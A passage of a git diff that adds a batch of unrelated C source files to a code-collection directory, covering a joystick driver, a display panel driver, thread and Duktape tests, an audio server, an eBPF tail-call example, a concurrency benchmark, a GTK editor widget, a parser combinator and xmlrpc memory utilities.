counts[2] = {0, 0}; + + /* Read counts from the generic read method */ + joystick12_read_data(dev, counts); + + /* Get max adc value range 1023, 2047, 4095, etc... */ + float max_adc = (1 << mraa_aio_get_bit(dev->ai_y)) - 1; + + dev->m_count_offset_x = max_adc/2.0 - counts[0]; + dev->m_count_offset_y = max_adc/2.0 - counts[1]; + + return UPM_SUCCESS; +} + +upm_result_t joystick12_calibrate_x(const joystick12_context dev) +{ + int counts[2] = {0, 0}; + + /* Read counts from the generic read method */ + joystick12_read_data(dev, counts); + + /* Get max adc value range 1023, 2047, 4095, etc... */ + float max_adc = (1 << mraa_aio_get_bit(dev->ai_y)) - 1; + + float fcounts = counts[0]; + + /* no need to scale if counts is a max or min value */ + if ((fcounts == 0) || (fcounts == max_adc)) return UPM_SUCCESS; + + dev->m_count_scale_x = + 1.0 / (1.0 - 2.0 * fcounts/max_adc); + dev->m_count_scale_x = fabs(dev->m_count_scale_x); + + return UPM_SUCCESS; +} + +upm_result_t joystick12_calibrate_y(const joystick12_context dev) +{ + int counts[2] = {0, 0}; + + /* Read counts from the generic read method */ + joystick12_read_data(dev, counts); + + /* Get max adc value range 1023, 2047, 4095, etc... */ + float max_adc = (1 << mraa_aio_get_bit(dev->ai_y)) - 1; + + float fcounts = counts[1]; + + /* no need to scale if counts is a max or min value */ + if ((fcounts == 0) || (fcounts == max_adc)) return UPM_SUCCESS; + + dev->m_count_scale_y = + 1.0 / (1.0 - 2.0 * fcounts/max_adc); + dev->m_count_scale_y = fabs(dev->m_count_scale_y); + + return UPM_SUCCESS; +} diff --git a/pool/shard011/C/0142375_mddi_toshiba_vga.c b/pool/shard011/C/0142375_mddi_toshiba_vga.c new file mode 100644 index 0000000000000000000000000000000000000000..9cf3bec3665d8c9fd76dc4f010ed977d33768e98 --- /dev/null +++ b/pool/shard011/C/0142375_mddi_toshiba_vga.c @@ -0,0 +1,121 @@ + + +#include "msm_fb.h" +#include "mddihost.h" +#include "mddihosti.h" +#include "mddi_toshiba.h" + +static uint32 read_client_reg(uint32 addr) +{ + uint32 val; + mddi_queue_register_read(addr, &val, TRUE, 0); + return val; +} + +static uint32 toshiba_lcd_gpio_read(void) +{ + uint32 val; + + write_client_reg(GPIODIR, 0x0000000C, TRUE); + write_client_reg(GPIOSEL, 0x00000000, TRUE); + write_client_reg(GPIOSEL, 0x00000000, TRUE); + write_client_reg(GPIOPC, 0x03CF00C0, TRUE); + val = read_client_reg(GPIODATA) & 0x2C0; + + return val; +} + +static u32 mddi_toshiba_panel_detect(void) +{ + mddi_host_type host_idx = MDDI_HOST_PRIM; + uint32 lcd_gpio; + u32 mddi_toshiba_lcd = LCD_TOSHIBA_2P4_VGA; + + + mddi_host_reg_out(DRIVE_LO, 0x0050); + + lcd_gpio = toshiba_lcd_gpio_read(); + switch (lcd_gpio) { + case 0x0080: + mddi_toshiba_lcd = LCD_SHARP_2P4_VGA; + break; + + case 0x00C0: + default: + mddi_toshiba_lcd = LCD_TOSHIBA_2P4_VGA; + break; + } + + return mddi_toshiba_lcd; +} + +static int __init mddi_toshiba_vga_init(void) +{ + int ret; + struct msm_panel_info pinfo; + u32 panel; + +#ifdef CONFIG_FB_MSM_MDDI_AUTO_DETECT + u32 id; + + ret = msm_fb_detect_client("mddi_toshiba_vga"); + if (ret == -ENODEV) + return 0; + + if (ret) { + id = mddi_get_client_id(); + if ((id >> 16) != 0xD263) + return 0; + } +#endif + + panel = mddi_toshiba_panel_detect(); + + pinfo.xres = 480; + pinfo.yres = 640; + pinfo.type = MDDI_PANEL; + pinfo.pdest = DISPLAY_1; + pinfo.mddi.vdopkt = MDDI_DEFAULT_PRIM_PIX_ATTR; + pinfo.wait_cycle = 0; + pinfo.bpp = 18; + pinfo.lcd.vsync_enable = TRUE; + pinfo.lcd.refx100 = 6118; + pinfo.lcd.v_back_porch = 6; + pinfo.lcd.v_front_porch = 0; + pinfo.lcd.v_pulse_width = 0; + pinfo.lcd.hw_vsync_mode = FALSE; + pinfo.lcd.vsync_notifier_period = (1 * HZ); + pinfo.bl_max = 99; + pinfo.bl_min = 1; + pinfo.clk_rate = 122880000; + pinfo.clk_min = 120000000; + pinfo.clk_max = 200000000; + pinfo.fb_num = 2; + + ret = mddi_toshiba_device_register(&pinfo, TOSHIBA_VGA_PRIM, panel); + if (ret) { + printk(KERN_ERR "%s: failed to register device!\n", __func__); + return ret; + } + + pinfo.xres = 176; + pinfo.yres = 220; + pinfo.type = MDDI_PANEL; + pinfo.pdest = DISPLAY_2; + pinfo.mddi.vdopkt = 0x400; + pinfo.wait_cycle = 0; + pinfo.bpp = 18; + pinfo.clk_rate = 122880000; + pinfo.clk_min = 120000000; + pinfo.clk_max = 200000000; + pinfo.fb_num = 2; + + ret = mddi_toshiba_device_register(&pinfo, TOSHIBA_VGA_SECD, panel); + if (ret) + printk(KERN_WARNING + "%s: failed to register device!\n", __func__); + + return ret; +} + +module_init(mddi_toshiba_vga_init); diff --git a/pool/shard011/C/0142376_test_create.c b/pool/shard011/C/0142376_test_create.c new file mode 100644 index 0000000000000000000000000000000000000000..8e856beaa7763c37a08fd3cd88d085545cef6db7 --- /dev/null +++ b/pool/shard011/C/0142376_test_create.c @@ -0,0 +1,47 @@ +#include +#include "../mythread.h" +#include + +int created; + +static void* hilo1(void *arg) +{ + int* a = (int*) arg; + long myid = mythread_self(); + printf("hilo %ld\n", myid); + //printf("hilo %ld \n", mythread_self()); + + //mythread_yield (); + + for (int x=0; x<1000000; x++) + { + printf(""); + } + printf("\n"); + + printf("fin del hilo %ld\n", myid); + + *a += 1; + return 0; +} + +int main () +{ + created = 0; + + int numT = 10; + + mythread_t threads[numT]; + + mythread_init(100); + + for (int x=0; x +#include +#include + +#include "portaudio.h" +#include "pa_ringbuffer.h" +#include "opus.h" + +#include "hc_utils.h" +#include "hc_thread.h" +#include "hc_player.h" +#include "hc_recorder.h" +#include "hc_mixer.h" +#include "hc_decoder.h" +#include "hc_encoder.h" +#include "hc_server.h" + +/** + * brief write-up on the abstractions recently developed for this project: + * + * Server: This application. Provides a layer of abstraction over PortAudio. + * The server has two tasks: record audio and broadcast it to its listener + * clients; receive audio from multiple sources, mix the samples, and play the + * result. + * + * Client: A client of our audio server. The client either sends us audio + * data (a "speaker"), or waits to receive audio data (a "listener"). + * + * Pipeline: sequence of computational steps to transform/transfer a buffer + * of data. Processing is usually performed concurrently. Each step of the + * pipeline consists of a thread, an input and an output. The in/outs can be + * ring buffers, or other buffers, like sockets or files. "Steps" in the + * pipeline can consist of multiple independent tasks, to allwo further + * abstraction + * + * Speaker: Represents a connection to a "speaker" client. Consists of a + * single thread that reads opus-encoded audio data from a socket, then + * decodes it and stores the raw audio in a ring buffer. + * + * Listener: Represents a connection to a "listener" client. Consists of + * socket registered to the encoder's list of recipients. When the encoder is + * ready, it will send opus-encoded audio data to all listeners. + * + */ +int main(int argc, char *argv[]) { + /* Initialize PortAudio */ + PaError err = paNoError; + err = Pa_Initialize(); + if(err != paNoError) { + goto done; + } + +#ifdef _WIN32 + /* Start up Winsocks API */ + WSADATA wsa; + if(WSAStartup(MAKEWORD(2,2), &wsa) != 0) { + fprintf(stderr, "WSA Failed. Error Code : %d", WSAGetLastError()); + return 1; + } +#endif + + /* Initialize structures */ + + HC_thread *mixer; + HC_thread *recorder; + HC_thread *serv; + HC_thread *encoder; + HC_thread *player; + + recorder = HCTHR_new(RECORDER, NULL); + encoder = HCTHR_new(ENCODER, HCREC_outBuf(recorder)); + serv = HCTHR_new(SERVER, NULL); + mixer = HCTHR_new(MIXER, NULL); + player = HCTHR_new(PLAYER, HCMIX_outBuf(mixer)); + + ((HC_Server*)serv->role)->threads = new_mt(mixer,recorder,encoder,player); + + printf("Recorder address: %p\n", recorder); + printf("Encoder address: %p\n", encoder); + printf("Server address %p\n", serv); + printf("Mixer address %p\n", mixer); + printf("Player address %p\n", player); + + /* Start threads */ + HCTHR_start(recorder); + HCTHR_start(encoder); + HCTHR_start(mixer); + HCTHR_start(player); + + + /* Don't call HCTHR_start, so no new thread is created. The main thread + * runs the server. */ + HCSRV_start(serv); + HCSRV_thread(serv); + + /* TODO: close procedures */ + +done: + Pa_Terminate(); +#ifdef _WIN32 + WSACleanup(); +#endif + return 0; +} + + + + + + + + + + + + + + + diff --git a/pool/shard011/C/0142378_bpf_tailcall.c b/pool/shard011/C/0142378_bpf_tailcall.c new file mode 100644 index 0000000000000000000000000000000000000000..161eb60625699284701c0eb4bccf846a3879c957 --- /dev/null +++ b/pool/shard011/C/0142378_bpf_tailcall.c @@ -0,0 +1,117 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +#include "../../include/bpf_api.h" + +#define ENTRY_INIT 3 +#define ENTRY_0 0 +#define ENTRY_1 1 +#define MAX_JMP_SIZE 2 + +#define FOO 42 +#define BAR 43 + +/* This example doesn't really do anything useful, but it's purpose is to + * demonstrate eBPF tail calls on a very simple example. + * + * cls_entry() is our classifier entry point, from there we jump based on + * skb->hash into cls_case1() or cls_case2(). They are both part of the + * program array jmp_tc. Indicated via __section_tail(), the tc loader + * populates the program arrays with the loaded file descriptors already. + * + * To demonstrate nested jumps, cls_case2() jumps within the same jmp_tc + * array to cls_case1(). And whenever we arrive at cls_case1(), we jump + * into cls_exit(), part of the jump array jmp_ex. + * + * Also, to show it's possible, all programs share map_sh and dump the value + * that the entry point incremented. The sections that are loaded into a + * program array can be atomically replaced during run-time, e.g. to change + * classifier behaviour. + */ + +struct bpf_elf_map __section_maps jmp_tc = { + .type = BPF_MAP_TYPE_PROG_ARRAY, + .id = FOO, + .size_key = sizeof(uint32_t), + .size_value = sizeof(uint32_t), + .pinning = PIN_OBJECT_NS, + .max_elem = MAX_JMP_SIZE, +}; + +struct bpf_elf_map __section_maps jmp_ex = { + .type = BPF_MAP_TYPE_PROG_ARRAY, + .id = BAR, + .size_key = sizeof(uint32_t), + .size_value = sizeof(uint32_t), + .pinning = PIN_OBJECT_NS, + .max_elem = 1, +}; + +struct bpf_elf_map __section_maps map_sh = { + .type = BPF_MAP_TYPE_ARRAY, + .size_key = sizeof(uint32_t), + .size_value = sizeof(uint32_t), + .pinning = PIN_OBJECT_NS, + .max_elem = 1, +}; + +__section_tail(FOO, ENTRY_0) +int cls_case1(struct __sk_buff *skb) +{ + int key = 0, *val; + + val = map_lookup_elem(&map_sh, &key); + if (val) + printt("case1: map-val: %d from:%u\n", *val, skb->cb[0]); + + skb->cb[0] = ENTRY_0; + tail_call(skb, &jmp_ex, ENTRY_0); + + return BPF_H_DEFAULT; +} + +__section_tail(FOO, ENTRY_1) +int cls_case2(struct __sk_buff *skb) +{ + int key = 0, *val; + + val = map_lookup_elem(&map_sh, &key); + if (val) + printt("case2: map-val: %d from:%u\n", *val, skb->cb[0]); + + skb->cb[0] = ENTRY_1; + tail_call(skb, &jmp_tc, ENTRY_0); + + return BPF_H_DEFAULT; +} + +__section_tail(BAR, ENTRY_0) +int cls_exit(struct __sk_buff *skb) +{ + int key = 0, *val; + + val = map_lookup_elem(&map_sh, &key); + if (val) + printt("exit: map-val: %d from:%u\n", *val, skb->cb[0]); + + /* Termination point. */ + return BPF_H_DEFAULT; +} + +__section_cls_entry +int cls_entry(struct __sk_buff *skb) +{ + int key = 0, *val; + + /* For transferring state, we can use skb->cb[0] ... skb->cb[4]. */ + val = map_lookup_elem(&map_sh, &key); + if (val) { + lock_xadd(val, 1); + + skb->cb[0] = ENTRY_INIT; + tail_call(skb, &jmp_tc, skb->hash & (MAX_JMP_SIZE - 1)); + } + + printt("fallthrough\n"); + return BPF_H_DEFAULT; +} + +BPF_LICENSE("GPL"); diff --git a/pool/shard011/C/0142379_safe015.c b/pool/shard011/C/0142379_safe015.c new file mode 100644 index 0000000000000000000000000000000000000000..aaff36eff398313b90c554f987b6eb1defb3dc7d --- /dev/null +++ b/pool/shard011/C/0142379_safe015.c @@ -0,0 +1,65 @@ +/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo + * This benchmark is part of SWSC */ + +#include +#include +#include +#include + +atomic_int vars[3]; +atomic_int atom_1_r1_1; + +void *t0(void *arg){ +label_1:; + atomic_store_explicit(&vars[0], 2, memory_order_seq_cst); + + atomic_store_explicit(&vars[1], 1, memory_order_seq_cst); + return NULL; +} + +void *t1(void *arg){ +label_2:; + int v2_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst); + int v3_r3 = v2_r1 ^ v2_r1; + atomic_store_explicit(&vars[2+v3_r3], 1, memory_order_seq_cst); + int v11 = (v2_r1 == 1); + atomic_store_explicit(&atom_1_r1_1, v11, memory_order_seq_cst); + return NULL; +} + +void *t2(void *arg){ +label_3:; + atomic_store_explicit(&vars[2], 2, memory_order_seq_cst); + + atomic_store_explicit(&vars[0], 1, memory_order_seq_cst); + return NULL; +} + +int main(int argc, char *argv[]){ + pthread_t thr0; + pthread_t thr1; + pthread_t thr2; + + atomic_init(&vars[2], 0); + atomic_init(&vars[1], 0); + atomic_init(&vars[0], 0); + atomic_init(&atom_1_r1_1, 0); + + pthread_create(&thr0, NULL, t0, NULL); + pthread_create(&thr1, NULL, t1, NULL); + pthread_create(&thr2, NULL, t2, NULL); + + pthread_join(thr0, NULL); + pthread_join(thr1, NULL); + pthread_join(thr2, NULL); + + int v4 = atomic_load_explicit(&vars[0], memory_order_seq_cst); + int v5 = (v4 == 2); + int v6 = atomic_load_explicit(&vars[2], memory_order_seq_cst); + int v7 = (v6 == 2); + int v8 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst); + int v9_conj = v7 & v8; + int v10_conj = v5 & v9_conj; + if (v10_conj == 1) assert(0); + return 0; +} diff --git a/pool/shard011/C/0142380_test-eval-file.c b/pool/shard011/C/0142380_test-eval-file.c new file mode 100644 index 0000000000000000000000000000000000000000..0a1c848d06c7388dcc1e2ba263aa0caaf5884e13 --- /dev/null +++ b/pool/shard011/C/0142380_test-eval-file.c @@ -0,0 +1,45 @@ +/*=== +*** test_raw (duk_safe_call) +Hello world from a file! +return value is: 123.000000 +==> rc=0, result='undefined' +===*/ + +#define TMPFILE "/tmp/duk-test-eval-file-temp.js" + +#include + +static int test_raw(duk_context *ctx) { + FILE *f; + const char *data = "print('Hello world from a file!'); 123;"; + size_t ret; + + /* Write temporary data to a temp file. This now expects to be + * executed on Linux, so that /tmp works. Less than ideal, also + * doesn't delete the temporary file. + */ + + f = fopen(TMPFILE, "wb"); + if (!f) { + printf("failed to open %s\n", TMPFILE); + return 0; + } + ret = fwrite((const void *) data, 1, strlen(data), f); + fflush(f); + fclose(f); + f = NULL; + if (ret != strlen(data)) { + printf("failed to write test data fully\n"); + return 0; + } + + duk_eval_file(ctx, TMPFILE); + printf("return value is: %lf\n", duk_get_number(ctx, -1)); + duk_pop(ctx); + return 0; +} + +void test(duk_context *ctx) { + TEST_SAFE_CALL(test_raw); +} + diff --git a/pool/shard011/C/0142381_peacock-mdi.c b/pool/shard011/C/0142381_peacock-mdi.c new file mode 100644 index 0000000000000000000000000000000000000000..faf362280120b953ea105dac73308fa89c2007bd --- /dev/null +++ b/pool/shard011/C/0142381_peacock-mdi.c @@ -0,0 +1,258 @@ +/* + * peacock-mdi.c - An object to handle all files in the editor. + * + * Copyright (C) 2003 Archit Baweja + * + * Author(s): + * Archit Baweja + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + + +#include + +#include +#include +#include + +#include "peacock-mdi.h" + +#define PEACOCK_FILE_CONTROL_OAFIID "OAFIID:GNOME_GtkHTML_Editor:3.0" + +struct _PeacockMDIPrivate { + /* List of files. */ + GList *files; + + /* The current file. */ + PeacockFileClient *current_file; + + /* Session Management Support */ + GConfClient *client; +}; + +static GtkNotebookClass *parent_class = NULL; + +static void +peacock_mdi_switch_page_cb (GtkNotebook *mdi, GtkNotebookPage *page, + gint page_num, gpointer user_data) +{ + /* Set the current file. */ + PEACOCK_MDI (mdi)->priv->current_file = (PeacockFileClient *) g_object_get_data (G_OBJECT (gtk_notebook_get_nth_page (mdi, page_num)), PEACOCK_FILE_CLIENT_TAG); +} + +static gboolean +peacock_mdi_raise_added_file_view (gpointer user_data) +{ + gtk_notebook_set_current_page (GTK_NOTEBOOK (user_data), -1); + return FALSE; +} + +static void +peacock_mdi_destroy (GtkObject *obj) +{ + +} + +static void +peacock_mdi_finalize (GObject *obj) +{ + +} + +static void +peacock_mdi_class_init (PeacockMDIClass *klass) +{ + GObjectClass *gobject_class; + GtkObjectClass *object_class; + GtkWidgetClass *widget_class; + + gobject_class = (GObjectClass *) klass; + object_class = (GtkObjectClass *) klass; + widget_class = (GtkWidgetClass *) klass; + + parent_class = g_type_class_peek_parent (klass); + + /* Setup destructors. */ + gobject_class->finalize = peacock_mdi_finalize; + object_class->destroy = peacock_mdi_destroy; +} + +static void +peacock_mdi_init (PeacockMDI *mdi) +{ + PeacockMDIPrivate *priv; + + priv = g_new0 (PeacockMDIPrivate, 1); + + /* Yes this is a vaild list :-) */ + priv->files = NULL; + priv->current_file = NULL; + priv->client = gconf_client_get_default (); + + mdi->priv = priv; +} + +/** + * peacock_mdi_get_type: + * @: + * + * Register PeacockMDI with the GObject type system. + * + * Return Value: GType of PeacockMDI + **/ +GType +peacock_mdi_get_type () +{ + static GType peacock_mdi_type = 0; + + if (!peacock_mdi_type) { + static const GTypeInfo peacock_mdi_info = { + sizeof (PeacockMDIClass), + NULL, + NULL, + (GClassInitFunc) peacock_mdi_class_init, + NULL, + NULL, + sizeof (PeacockMDI), + 0, + (GInstanceInitFunc) peacock_mdi_init, + }; + + peacock_mdi_type = g_type_register_static (GTK_TYPE_NOTEBOOK, "PeacockMDI", &peacock_mdi_info, 0); + } + + return peacock_mdi_type; +} + +static void +peacock_mdi_construct (PeacockMDI *mdi) +{ + GtkWidget *control; + + gtk_notebook_set_tab_pos (GTK_NOTEBOOK (mdi), GTK_POS_TOP); + g_signal_connect (G_OBJECT (mdi), "switch_page", + G_CALLBACK (peacock_mdi_switch_page_cb), NULL); +} + +/** + * peacock_mdi_new: + * + * Create a new PeacockMDI object. One instance is required per + * PeacockWindow. + * + * Return Value: a new PeacockMDI object. + **/ +GtkWidget * +peacock_mdi_new () +{ + PeacockMDI *mdi; + + mdi = PEACOCK_MDI (g_object_new (PEACOCK_TYPE_MDI, NULL)); + peacock_mdi_construct (mdi); + + return GTK_WIDGET (mdi); +} + +gboolean +peacock_mdi_add_file (PeacockMDI *mdi, PeacockFileClient *client) +{ + g_return_val_if_fail (mdi != NULL, FALSE); + g_return_val_if_fail (PEACOCK_IS_MDI (mdi), FALSE); + g_return_val_if_fail (client != NULL, FALSE); + g_return_val_if_fail (BONOBO_IS_WIDGET (client->control), FALSE); + + /* Add the view and file. */ + mdi->priv->current_file = client; + mdi->priv->files = g_list_append (mdi->priv->files, client); + + gtk_notebook_append_page (GTK_NOTEBOOK (mdi), + GTK_WIDGET (client->control), + GTK_WIDGET (client->tabWidget)); + + + /* Give Gtk+ time to draw page. */ + g_idle_add (peacock_mdi_raise_added_file_view, mdi); + + return TRUE; +} + +gboolean +peacock_mdi_remove_file (PeacockMDI *mdi, PeacockFileClient *client) +{ + GList *item; + + g_return_val_if_fail (mdi != NULL, FALSE); + g_return_val_if_fail (PEACOCK_IS_MDI (mdi), FALSE); + + item = g_list_find (mdi->priv->files, client); + + /* Found the file, remove it! */ + if (item) { + + /* Remove the view. */ + gtk_notebook_remove_page (GTK_NOTEBOOK (mdi), gtk_notebook_get_current_page (GTK_NOTEBOOK (mdi))); + + /* + * Note: the switch_page signal handler will + * reset current_file pointer. + */ + + /* Remove the control. */ + mdi->priv->files = g_list_remove (mdi->priv->files, client); + } + + return TRUE; +} + +/** + * peacock_mdi_get_current_file: + * @mdi: + * + * Returns the current PeacockFileClient. see peacock-file-client.[ch]. + * + * Return Value: + **/ +PeacockFileClient * +peacock_mdi_get_current_file (PeacockMDI *mdi) +{ + g_return_val_if_fail (mdi != NULL, NULL); + g_return_val_if_fail (PEACOCK_IS_MDI (mdi), NULL); + + return mdi->priv->current_file; +} + +#if 0 + +gboolean +peacock_mdi_save_session (PeacockMDI *mdi) +{ + g_return_if_fail (mdi != NULL); + g_return_if_fail (PEACOCK_IS_MDI (mdi)); + + return TRUE; +} + +gboolean +peacock_mdi_load_session (PeacockMDI *mdi) +{ + g_return_if_fail (mdi != NULL); + g_return_if_fail (PEACOCK_IS_MDI (mdi)); + + return TRUE; +} + +#endif diff --git a/pool/shard011/C/0142382_Embers.c b/pool/shard011/C/0142382_Embers.c new file mode 100644 index 0000000000000000000000000000000000000000..5c19548de251da1820b242f2e036b58e64bb75d8 --- /dev/null +++ b/pool/shard011/C/0142382_Embers.c @@ -0,0 +1,20 @@ +#include "Embers.h" + +#include "util.h" + +Embers e_append(Embers e, Sprite* const ember) +{ + if(e.max == 0) + u_retoss(e.ember, Sprite*, e.max = 1); + if(e.count >= e.max) + u_retoss(e.ember, Sprite*, e.max *= 2); + e.ember[e.count++] = ember; + return e; +} + +Embers e_reset(const Embers e) +{ + free(e.ember); + static Embers zero; + return zero; +} diff --git a/pool/shard011/C/0142383_difference.c b/pool/shard011/C/0142383_difference.c new file mode 100644 index 0000000000000000000000000000000000000000..76a2cc447002da5a0e04119c016f7bf83fec443e --- /dev/null +++ b/pool/shard011/C/0142383_difference.c @@ -0,0 +1,52 @@ +#include "parser_internal.h" + +typedef struct { + const HParser *p1; + const HParser *p2; +} HTwoParsers; + +static HParseResult* parse_difference(void *env, HParseState *state) { + HTwoParsers *parsers = (HTwoParsers*)env; + // cache the initial state of the input stream + HInputStream start_state = state->input_stream; + HParseResult *r1 = h_do_parse(parsers->p1, state); + // if p1 failed, bail out early + if (NULL == r1) { + return NULL; + } + // cache the state after parse #1, since we might have to back up to it + HInputStream after_p1_state = state->input_stream; + state->input_stream = start_state; + HParseResult *r2 = h_do_parse(parsers->p2, state); + // TODO(mlp): I'm pretty sure the input stream state should be the post-p1 state in all cases + state->input_stream = after_p1_state; + // if p2 failed, restore post-p1 state and bail out early + if (NULL == r2) { + return r1; + } + size_t r1len = token_length(r1); + size_t r2len = token_length(r2); + // if both match but p1's text is shorter than p2's, fail + if (r1len < r2len) { + return NULL; + } else { + return r1; + } +} + +static HParserVtable difference_vt = { + .parse = parse_difference, + .isValidRegular = h_false, + .isValidCF = h_false, // XXX should this be true if both p1 and p2 are CF? + .compile_to_rvm = h_not_regular, +}; + +HParser* h_difference(const HParser* p1, const HParser* p2) { + return h_difference__m(&system_allocator, p1, p2); +} +HParser* h_difference__m(HAllocator* mm__, const HParser* p1, const HParser* p2) { + HTwoParsers *env = h_new(HTwoParsers, 1); + env->p1 = p1; + env->p2 = p2; + return h_new_parser(mm__, &difference_vt, env); +} diff --git a/pool/shard011/C/0142384_memblock.c b/pool/shard011/C/0142384_memblock.c new file mode 100644 index 0000000000000000000000000000000000000000..d79d4caaa0e2d33f7a368666f3df344edb54373b --- /dev/null +++ b/pool/shard011/C/0142384_memblock.c @@ -0,0 +1,214 @@ +/* Copyright information is at end of file */ +#include "xmlrpc_config.h" + +#include +#include +#include +#include + +#include "xmlrpc-c/util_int.h" +#include "xmlrpc-c/util.h" + +#ifdef EFENCE + /* when looking for corruption don't allocate extra slop */ +#define BLOCK_ALLOC_MIN (1) +#else +#define BLOCK_ALLOC_MIN (16) +#endif +#define BLOCK_ALLOC_MAX (128 * 1024 * 1024) + + +xmlrpc_mem_block * +xmlrpc_mem_block_new(xmlrpc_env * const env, + size_t const size) { + + xmlrpc_mem_block* block; + + XMLRPC_ASSERT_ENV_OK(env); + + block = (xmlrpc_mem_block*) malloc(sizeof(xmlrpc_mem_block)); + XMLRPC_FAIL_IF_NULL(block, env, XMLRPC_INTERNAL_ERROR, + "Can't allocate memory block"); + + xmlrpc_mem_block_init(env, block, size); + XMLRPC_FAIL_IF_FAULT(env); + + cleanup: + if (env->fault_occurred) { + if (block) + free(block); + return NULL; + } else { + return block; + } +} + +/* Destroy an existing xmlrpc_mem_block, and everything it contains. */ +void +xmlrpc_mem_block_free(xmlrpc_mem_block * const blockP) { + + XMLRPC_ASSERT(blockP != NULL); + XMLRPC_ASSERT(blockP->_block != NULL); + + xmlrpc_mem_block_clean(blockP); + free(blockP); +} + + + +/* Initialize the contents of the provided xmlrpc_mem_block. */ +void +xmlrpc_mem_block_init(xmlrpc_env * const envP, + xmlrpc_mem_block * const blockP, + size_t const size) { + + XMLRPC_ASSERT_ENV_OK(envP); + XMLRPC_ASSERT(blockP != NULL); + + blockP->_size = size; + if (size < BLOCK_ALLOC_MIN) + blockP->_allocated = BLOCK_ALLOC_MIN; + else + blockP->_allocated = size; + + blockP->_block = (void*) malloc(blockP->_allocated); + if (!blockP->_block) + xmlrpc_faultf(envP, "Can't allocate %u-byte memory block", + blockP->_allocated); +} + + + +/* Deallocate the contents of the provided xmlrpc_mem_block, but not + the block itself. +*/ +void +xmlrpc_mem_block_clean(xmlrpc_mem_block * const blockP) { + + XMLRPC_ASSERT(blockP != NULL); + XMLRPC_ASSERT(blockP->_block != NULL); + + free(blockP->_block); + blockP->_block = XMLRPC_BAD_POINTER; +} + + + +/* Get the size of the xmlrpc_mem_block. */ +size_t +xmlrpc_mem_block_size(const xmlrpc_mem_block * const blockP) { + + XMLRPC_ASSERT(blockP != NULL); + return blockP->_size; +} + + + +/* Get the contents of the xmlrpc_mem_block. */ +void * +xmlrpc_mem_block_contents(const xmlrpc_mem_block * const blockP) { + + XMLRPC_ASSERT(blockP != NULL); + return blockP->_block; +} + + + +/* Resize an xmlrpc_mem_block, preserving as much of the contents as + possible. +*/ +void +xmlrpc_mem_block_resize (xmlrpc_env * const envP, + xmlrpc_mem_block * const blockP, + size_t const size) { + + size_t proposed_alloc; + void* new_block; + + XMLRPC_ASSERT_ENV_OK(envP); + XMLRPC_ASSERT(blockP != NULL); + + /* Check to see if we already have enough space. Maybe we'll get lucky. */ + if (size <= blockP->_allocated) { + blockP->_size = size; + return; + } + + /* Calculate a new allocation size. */ +#ifdef EFENCE + proposed_alloc = size; +#else + proposed_alloc = blockP->_allocated; + while (proposed_alloc < size && proposed_alloc <= BLOCK_ALLOC_MAX) + proposed_alloc *= 2; +#endif /* DEBUG_MEM_ERRORS */ + + if (proposed_alloc > BLOCK_ALLOC_MAX) + XMLRPC_FAIL(envP, XMLRPC_INTERNAL_ERROR, "Memory block too large"); + + /* Allocate our new memory block. */ + new_block = (void*) malloc(proposed_alloc); + XMLRPC_FAIL_IF_NULL(new_block, envP, XMLRPC_INTERNAL_ERROR, + "Can't resize memory block"); + + /* Copy over our data and update the xmlrpc_mem_block struct. */ + memcpy(new_block, blockP->_block, blockP->_size); + free(blockP->_block); + blockP->_block = new_block; + blockP->_size = size; + blockP->_allocated = proposed_alloc; + + cleanup: + return; +} + + + +void +xmlrpc_mem_block_append(xmlrpc_env * const envP, + xmlrpc_mem_block * const blockP, + const void * const data, + size_t const len) { + + int size; + + XMLRPC_ASSERT_ENV_OK(envP); + XMLRPC_ASSERT(blockP != NULL); + + size = blockP->_size; + xmlrpc_mem_block_resize(envP, blockP, size + len); + XMLRPC_FAIL_IF_FAULT(envP); + + memcpy(((unsigned char*) blockP->_block) + size, data, len); + + cleanup: + return; +} + + + +/* Copyright (C) 2001 by First Peer, Inc. All rights reserved. +** +** Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions +** are met: +** 1. Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** 2. Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in the +** documentation and/or other materials provided with the distribution. +** 3. The name of the author may not be used to endorse or promote products +** derived from this software without specific prior written permission. +** +** THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +** ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +** OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +** HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +** OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +** SUCH DAMAGE. +*/ diff --git a/pool/shard011/C/0142385_q_time.c b/pool/shard011/C/0142385_q_time.c new file mode 100644 index 0000000000000000000000000000000000000000..d88cb4fc1960e68e78495755094baa9616ee4ff9 --- /dev/null +++ b/pool/shard011/C/0142385_q_time.c @@ -0,0 +1,131 @@ +#include + +#include "os_time.h" + +#include "q_time.h" + +const nn_ddsi_time_t invalid_ddsi_timestamp = { -1, 0xffffffff }; +const nn_ddsi_time_t ddsi_time_infinite = { 0x7fffffff, 0xffffffff }; +#if DDSI_DURATION_ACCORDING_TO_SPEC +const nn_duration_t duration_infinite = { 0x7fffffff, 